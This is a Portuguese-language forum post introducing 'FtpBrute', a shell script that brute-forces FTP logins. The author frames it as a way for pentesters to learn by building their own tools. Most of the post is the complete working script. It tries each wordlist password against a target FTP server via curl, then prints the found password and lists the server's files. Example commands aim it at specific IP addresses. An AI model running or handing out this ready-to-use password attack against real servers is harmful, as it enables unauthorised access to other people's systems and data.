Jump to content

FtpBrute - Realize Brute force em servidores FTP com ShellScript


Walderlan Sena

Recommended Posts

Posted

Ftp Brute

Tool to perform Brute Force Attack FTP

Explicação e para mais informações acesse:

https://github.com/WalderlanSena/ftpbrute

No processo de um pentest ou de uma analise profissional de vulnerabilidades em sistemas de informação, o profissional no caso o programador, pentest, Analista etc, nem sempre terá disponível aquela penca de ferramentas automatizadas e prontas para usar (Diga-se de passagem tem gente que fica viciadoO.o somente em usar as mesmas sem nem saber o que elas fazem por trás 9_9). E bastante interessante profissionais da área e entusiastas afim, saber desenvolver suas próprias ferramentas, não para reinventar a roda, mas para entender a fundo o que ela está fazendo. 

Então sabendo a potencialidade que o nosso amado Shell Script nos proporciona :D, desenvolvi um script que realiza um brute force em servidores FTP.

Este é o exemplo ao executar o script sem passar nenhum parâmetro ao mesmo.

exemplo1.thumb.png.acc797c6feaad86be61f123d7620ba36.png

 

O processo de autenticação em um servidor FTP funciona basicamente como qualquer outro, ou seja, se faz necessário o login e senha, o IP/PORT cujo deseja realizar a conexão. Caso a conexão seja bem sucedida o servidor retorna o código 230 e a (dos) listagem/arquivos do servidor.

Sabendo disto podemos utilizar uma lista de senha possíveis, uma vez sabendo o usuário o IP e a porta que por padrão é a 21, realizaremos o seguinte procedimento:

./ftpbrute.sh u268613182.admin ~/senhas 187.45.123.45 21

Passando o nome do software o usuário do servidor a wordlist (Cujo tem algumas disponíveis no repositório oficial no GITHUB)  o IP e a porta do servidor alvo.

#!/bin/bash

# FTPBrute - Tools to perform brute force
# Description :
# Use         : ./ftpbrute
# Developer   : Walderlan Sena - <https://www.mentesvirtuaissena.com>
# Email       : contato@mentesvirtuaissena.com
# LINCENSE    : Lincense GPL <http://gnu.org/lincense/gpl.html>


# Variaveis Globais
scriptversion="v1.0.0"

ok="\033[1;32m[ Start Attack ]\033[0m"
error="\033[1;31m[ ERROR ]\033[0m"
found="\033[1;32mPASSWORD FOUND »»»»»»»\033[0m"
notfound="\033[1;31mINVALID PASSWORD »»»»»»»\033[0m"

splash(){
    clear # Limpando a tela do terminal
    echo -e '''
    \033[1;31m
    _______ _______  _____  ______   ______ _     _ _______ _______
    |______    |    |_____] |_____] |_____/ |     |    |    |______
    |          |    |       |_____] |    \_ |_____|    |    |______
                                                             v1.0.0\033[0m
            \033[1;32m>>> Tool to perform Brute Force Attack FTP <<<\033[0m
              developer: Walderlan Sena <eu@walderlan.xyz>
               https://github.com/WalderlanSena/ftpbrute
    '''
}
usage="\
Usage: $0 [USER] [WORDLIST] [IP] [PORT]...
   or: $0 [USER] [WORDLIST] [IP] [PORT] [OPTIONS]
Options:
\t--help     display this help and exit.
\t--version  display version information and exit.
\t-i  install on your desktop in the /usr/bin/
Example of execution:
\t./ftpbrute.sh admin wordlist.txt 187.99.150.72 21
"
case $1 in
    --help)
        splash
        echo "$usage";;
    --version)
        echo -e "$scriptversion"
        exit;;
    -i)
    echo -e "\033[1;32m[ + ]\033[m Starting the installation on /usr/bin/"
    if sudo cp ftpbrute.sh /usr/bin/ftpbrute
    then
        echo -e "\033[1;32m[ OK ]\033[m Successfully installed on /usr/bin/ now carry out the software call,\n\n\t \033[46mApenas com 'ftpbrute [USER] [WORDLIST] [IP] [PORT]'\033[m\n"
        exit
    else
        echo -e "$error Unable to install..."
        exit
    fi
    echo "";;
    *)  echo "$usage";
esac
# Verificação do parâmetros passados
if [ ! -z "$1" ] && [ -e "$2" ] && [ ! -z "$3" ] && [ ! -z "$4" ]
then
    # Chamando a tela de splash
    splash
    # Obtendo a quantidadde de linhas da wordlist passada
    word=$(cat $2 | wc -l)
    echo -e "
    \t\t[ \033[1;34mWordlist:\033[0m $word  \033[1;34mInicio:\033[0m `date +"%T"` ]
    "
    echo -e ">>>>>>> $ok <<<<<<<"
    # Ralizando leitura da wordlist de senhas possiveis
    for password in $(cat $2)
    do
        # Realizando a requisição via curl
        result=$(curl -s -o /dev/null -w "%{http_code}" -u $1:$password ftp://$3:$4)
        # Se o returno foi um código 226, foi logado com sucesso
        if [ "$result" == "226" ]
        then
            # Se a senha for encontrada, exibe a mesma e lista os dirétorios e os arquivos do servidor atacado
            echo -e "\033[0;36m[ `date +"%T"` ]\033[0m $found $password"
            # Listando os diretórios e os arquivos do servidor
            curl -s -u $1:$password ftp://$3:$4
            # Finalizando o laço e o script
            exit
        else
            # Caso não, continua o ataque
            echo -e "\033[0;36m[ `date +"%T"` ]\033[0m $notfound $password"
        fi
    done
else
    # Chamando a tela de splash caso os argumentos sejam passados erroniamente
    splash
    echo -e "$usage"
fi

Que resultara basicamente na tela:

exemplo02.thumb.png.a306abb34051cbb41d89013dc0b66196.png

Após o inicio do ataque ao servidor o script realiza os teste até encontrar a senha correta do mesmo.

exemplo03.thumb.png.8e7311230e679f4b5279da2c98fdbf6b.png

 

Então galera é isso, espero que tenha gostado. O script ainda está em desenvolvimento, mas basicamente a funcionalidade principal é essa, talvez futuramente eu adicione mais alguma função. Dicas comentem ai. Vlw Tmj

 

^_^

Archived

This topic is now archived and is closed to further replies.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...